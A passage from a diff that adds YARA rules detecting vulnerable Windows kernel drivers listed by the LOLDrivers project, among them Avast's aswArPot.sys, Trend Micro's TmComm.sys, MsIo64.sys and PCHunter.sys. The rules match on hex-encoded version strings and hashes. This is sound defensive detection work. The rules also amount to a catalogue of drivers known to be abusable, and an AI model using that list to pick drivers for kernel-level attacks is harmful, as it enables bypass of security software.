+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1b00d6e5d40b1b84ca63da0e99246574cdd2a533122bc83746f06c0d66e63a6e"
+		hash = "51e91dd108d974ae809e5fc23f6fbd16e13f672f86aa594dae4a5c4bc629b0b5"
+		date = "2023-06-14"
+		score = 40
+		id = "d29981ff-6c7b-55fb-a77e-c16755e988ab"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Multitheftauto_Mtasanandreas_9F4C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - FairplayKD.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9f4ce6ab5e8d44f355426d9a6ab79833709f39b300733b5b251a0766e895e0e5"
+		date = "2023-06-14"
+		score = 40
+		id = "a7059f0e-ae46-506f-a3c0-8ecb6911cd1d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0075006c007400690020005400680065006600740020004100750074006f0020007000610074006300680020006400720069007600650072 } /* FileDescription MultiTheftAutopatchdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0075006c007400690020005400680065006600740020004100750074006f } /* CompanyName MultiTheftAuto */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00540041002000530061006e00200041006e00640072006500610073 } /* ProductName MTASanAndreas */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003000330020002d002000320030003100370020004d0075006c007400690020005400680065006600740020004100750074006f } /* LegalCopyright CMultiTheftAuto */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_2732 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2732050a7d836ae0bdc5c0aea4cdf8ce205618c3e7f613b8139c176e86476d0c"
+		date = "2023-06-14"
+		score = 40
+		id = "ec2c7c9f-d4cd-5497-9de5-4948767ba125"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_EF6D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ef6d3c00f9d0aa31a218094480299ef73fc85146adf62fd0c2f4f88972c5c850"
+		date = "2023-06-14"
+		score = 40
+		id = "28e934c7-1705-5dd7-967f-ac259af3809e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Microfocus_Microfocusxtier_95D5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3"
+		date = "2023-06-14"
+		score = 40
+		id = "394be6fa-5c49-5af2-ac20-d0da0ffe7624"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200043004f004d0020005300650072007600690063006500730020004400720069007600650072 } /* FileDescription XTierCOMServicesDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 } /* CompanyName MicroFocus */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 } /* ProductName MicroFocusXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 } /* OriginalFilename libnicmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightMicroFocusAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E3EF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e3eff841ea0f2786e5e0fed2744c0829719ad711fc9258eeaf81ed65a52a8918"
+		date = "2023-06-14"
+		score = 40
+		id = "3778fe25-a5d5-5cb0-8f03-9ceed5d71aa9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100300031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7F37 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7f375639a0df7fe51e5518cf87c3f513c55bc117db47d28da8c615642eb18bfa"
+		date = "2023-06-14"
+		score = 40
+		id = "f523949b-aff9-532a-9f13-983f4a47635d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f } /* FileDescription ALSysIO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e } /* CompanyName ArthurLiberman */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* InternalName ALSysIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f } /* ProductName ALSysIO */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* OriginalFilename ALSysIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e } /* LegalCopyright CopyrightCArthurLiberman */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Paniosys_Paniolibrary_F596 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f596e64f4c5d7c37a00493728d8756b243cfdc11e3372d6d6dfeffc13c9ab960"
+		date = "2023-06-14"
+		score = 40
+		id = "098abff0-1471-5793-8366-89df85dc216c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 } /* FileDescription Temperatureandsysteminformationdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f002e007300790073 } /* InternalName PanIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 } /* ProductName PanIOLibrary */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f002e007300790073 } /* OriginalFilename PanIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazilimBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_1768 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "17687cba00ec2c9036dd3cb5430aa1f4851e64990dafb4c8f06d88de5283d6ca"
+		date = "2023-06-14"
+		score = 40
+		id = "4d79b72a-0848-5fe4-89fe-b16ab03d18d3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_9A54 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9a54ef5cfbe6db599322967ee2c84db7daabcb468be10a3ccfcaa0f64d9173c7"
+		date = "2023-06-14"
+		score = 40
+		id = "17496639-ec11-519b-8143-2d43568e09cd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Oti_Otipcibussys_Kernelmodedrivertoaccessphysicalmemoryandports_4E3E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - otipcibus.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4e3eb5b9bce2fd9f6878ae36288211f0997f6149aa8c290ed91228ba4cdfae80"
+		date = "2023-06-14"
+		score = 40
+		id = "71052609-e8a3-5611-ad92-8cf43a0fddf0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200041006300630065007300730020004400720069007600650072 } /* FileDescription HardwareAccessDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00540069 } /* CompanyName OTi */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 } /* InternalName otipcibussys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200054006f002000410063006300650073007300200050006800790073006900630061006c0020004d0065006d006f0072007900200041006e006400200050006f007200740073 } /* ProductName KernelModeDriverToAccessPhysicalMemoryAndPorts */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 } /* OriginalFilename otipcibussys */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_DCB8 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "dcb815eb8e9016608d0d917101b6af8c84b96fb709dc0344bceed02cbc4ed258"
+		date = "2023-06-14"
+		score = 40
+		id = "72ff75ea-c085-51bc-806e-1a43127d1c64"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_CFCF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cfcf32f5662791f1f22a77acb6dddfbc970fe6e99506969b3ea67c03f67687ab"
+		date = "2023-06-14"
+		score = 40
+		id = "a4c49dca-e35c-5326-9b30-729ecf65653c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 } /* FileDescription MICSYSIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 } /* CompanyName MICSYSTechnologyCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* InternalName MsIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 } /* ProductName MsIoDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* OriginalFilename MsIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 } /* LegalCopyright CopyrightcMICSYS */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_DD4A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "dd4a1253d47de14ef83f1bc8b40816a86ccf90d1e624c5adf9203ae9d51d4097"
+		date = "2023-06-14"
+		score = 40
+		id = "65abda74-40d3-57c2-ade1-463b3e1ad1ef"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 } /* FileDescription DTRKernelmodedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e } /* CompanyName DTResearchInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* InternalName iomemsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* ProductName iomemsys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* OriginalFilename iomemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright DTResearchIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Pchuntersys_Pchunter_1B7F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PCHunter.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1b7fb154a7b7903a3c81f12f4b094f24a3c60a6a8cffca894c67c264ab7545fa"
+		date = "2023-06-14"
+		score = 40
+		id = "229e07ae-2358-5b7e-843d-a0038c57dcd0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00450070006f006f006c0073006f00660074002000570069006e0064006f0077007300200049006e0066006f0072006d006100740069006f006e0020005600690065007700200054006f006f006c0073 } /* FileDescription EpoolsoftWindowsInformationViewTools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]4e00666e660e4e3aff0853174eacff094fe1606f6280672f67099650516c53f8 } /* CompanyName  */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 } /* InternalName PCHuntersys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300480075006e007400650072 } /* ProductName PCHunter */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 } /* OriginalFilename PCHuntersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200032003000310033002d0032003000310036002000450070006f006f006c0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CEpoolsoftCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_6500 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "65008817eb97635826a8708a6411d7b50f762bab81304e457119d669382944c3"
+		date = "2023-06-14"
+		score = 40
+		id = "87ed66d7-4903-5334-9bdb-90ba882c3e98"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Novellinc_Novellxtier_8E88 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8e88cb80328c3dbaa2752591692e74a2fae7e146d7d8aabc9b9ac9a6fe561e6c"
+		date = "2023-06-14"
+		score = 40
+		id = "29276926-535b-55f9-a882-845fc9561513"
+	strings:
